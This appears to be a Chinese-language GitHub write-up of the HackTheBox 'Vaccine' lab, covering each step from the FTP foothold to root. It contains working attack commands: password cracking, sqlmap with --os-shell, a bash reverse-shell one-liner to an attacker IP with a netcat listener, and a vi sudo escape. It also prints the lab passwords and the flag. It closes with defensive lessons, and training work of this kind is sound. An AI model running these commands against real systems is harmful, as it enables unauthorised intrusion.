mattiapertusati/htb-vaccine
GitHub: mattiapertusati/htb-vaccine
该项目整理了 HackTheBox 上 Vaccine 机器的完整渗透路径与攻防要点。
Stars: 0 | Forks: 0
HTB — Vaccine(简单/Linux)






## 摘要
Vaccine 是一台 Linux 机器,其主要攻击向量是 SQL Injection 漏洞。该机器存在 SQLi 漏洞,允许攻击者获取 OS shell 并最终获得 root 权限。在此过程中,发现了两个包含受哈希保护的重要凭据的 PHP 文件。John the Ripper 被用于破解这两个文件。
**攻击链:** FTP → ZIP → SQLi → Shell → Root
## 侦察
### 端口扫描
```
nmap -sV -sC -oN nmap_vaccine.txt 10.129.90.30
```
**结果:**
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0p1 Ubuntu
80/tcp open http Apache httpd 2.4.41

三个端口处于开放状态。这三个端口都将在攻击过程中被使用,但起始点是端口 21 (FTP),因为 nmap 显示匿名登录已启用——这意味着无需密码即可访问。
## 枚举
### FTP — 匿名登录
```
ftp 10.129.90.30
# 用户名: anonymous
# 密码: (空)
```
匿名登录已确认。在 FTP 服务器内部,存在一个名为 `backup.zip` 的文件。使用 `get` 命令将其下载。

## 凭据访问 — ZIP 密码
下载的压缩包受密码保护。为了破解它,使用了 John the Ripper。首先,`zip2john` 从 ZIP 中提取哈希并将其写入名为 `hash.txt` 的文件中。然后 John 使用 rockyou 字典进行破解。
```
zip2john backup.zip > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```
找到密码:**741852963**

## 文件分析
使用破解出的密码解压压缩包,显示了两个文件:
- `index.php` — 包含硬编码凭据
- `style.css`
```
unzip backup.zip
```

## 凭据访问 — 硬编码凭据
分析 `index.php` 发现,用户名和密码都直接硬编码在源代码中。密码使用 MD5 哈希进行保护——这是一种过时且不安全的算法。
用户名:admin
密码哈希 (MD5):2cb42f8734ea607eefed3b70af13bbd3

## 凭据访问 — MD5 哈希
再次使用 John the Ripper 破解 MD5 哈希。该哈希被保存到一个名为 `md5hash.txt` 的新文件中,并通过指定 Raw-MD5 格式进行破解。
```
echo "2cb42f8734ea607eefed3b70af13bbd3" > md5hash.txt
john --format=Raw-MD5 \
--wordlist=/usr/share/wordlists/rockyou.txt md5hash.txt
```
找到密码:**qwerty789**

## Web 应用程序访问
使用完整的凭据(`admin:qwerty789`),成功登录了在 nmap 扫描期间发现的 Web 应用程序。仪表板显示了一个带有搜索栏的 MegaCorp 汽车目录。

## 漏洞分析 — SQL Injection
为了测试搜索栏是否存在 SQL Injection 漏洞,输入并提交了一个单引号 `'`。应用程序返回了原始的 PostgreSQL 错误,暴露了内部查询结构,从而确认了该漏洞。
ERROR: unterminated quoted string at or near
Select * from cars where name ilike '%'%'

## 漏洞利用 — SQLMap
在确认 SQL Injection 后,使用 SQLMap 自动化进行攻击。提供了目标 URL 和 session cookie,并加上 `--os-shell` 尝试在底层操作系统上执行命令。
```
sqlmap -r request.txt \
--dbms=PostgreSQL \
--level=5 \
--risk=3 \
--os-shell \
-p search
```
SQLMap 成功识别出多种注入技术,并利用 PostgreSQL 的 `COPY FROM PROGRAM` 特性实现了 OS 命令执行。
os-shell>

## 后渗透 — Reverse Shell
从 os-shell 中,建立了一个 reverse shell 以获得更稳定和可靠的连接。在端口 4444 上设置了监听器并成功捕获了连接。
```
# Kali 上的 Listener:
nc -lvnp 4444
# os-shell 中的命令:
bash -c 'bash -i >& /dev/tcp/10.10.16.170/4444 0>&1'
```
使用以下命令稳定 shell:
```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

## 权限提升 — sudo 配置不当
运行 `sudo -l` 显示 `postgres` 用户可以无密码以 root 身份执行 `/bin/vi`。由于 vi 可以在编辑器内部执行系统命令,这是通向 root 的直接途径。
```
sudo -l
# (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
```

```
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# vi 内:
:!/bin/bash
```
Vi 启动了一个继承 root 权限的 bash shell。
## 后渗透 — Flags
```
whoami
# root
cat /root/root.txt
# dd6e058e814260bc70e9bbdef2715849
```

## 经验教训
### 攻击视角
- FTP 匿名登录将内部文件暴露给任何未经身份验证的攻击者
- 源代码中的硬编码凭据是一个严重漏洞,无需任何漏洞利用即可被利用
- MD5 不提供真正的密码保护——使用字典几秒钟即可破解
- SQL Injection 可以通过 PostgreSQL COPY FROM PROGRAM 提升为完整的 OS 访问权限
- 具有 sudo 权限的文本编辑器允许通过 shell 转义进行简单的权限提升
### 防御视角
- 禁用 FTP 匿名登录——使用带有基于密钥身份验证的 SFTP
- 切勿在源代码中存储凭据——使用环境变量或密钥管理器
- 使用 bcrypt 或 argon2 进行密码哈希,切勿使用 MD5 或 SHA1
- 对所有数据库输入进行清理和参数化
- 定期审核 sudo 权限——任何编辑器都不应以 root 身份运行
## 攻击链总结
NMAP — 发现 3 个端口 (21, 22, 80)
↓
FTP 匿名登录 — 下载 backup.zip
↓
zip2john + John — 破解 ZIP 密码:741852963
↓
index.php — 找到 admin 凭据 + MD5 哈希
↓
John Raw-MD5 — 破解密码:qwerty789
↓
Web 登录 — 访问 dashboard.php
↓
确认 SQL Injection — 单引号错误
↓
SQLMap --os-shell — PostgreSQL COPY FROM PROGRAM
↓
Reverse Shell — postgres@vaccine
↓
sudo -l — /bin/vi 以 root 身份运行
↓
vi :!/bin/bash — 启动 root shell
↓
ROOT ✅
## 参考
- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)
- [PostgreSQL COPY FROM PROGRAM](https://www.postgresql.org/docs/current/sql-copy.html)
- [GTFOBins — vi](https://gtfobins.github.io/gtfobins/vi/)
- [HackTheBox — Vaccine](https://app.hackthebox.com/machines/Vaccine)
标签:CISA项目, HackTheBox, Linux, Writeup, 协议分析, 安全靶机, 权限提升, 渗透测试, 漏洞利用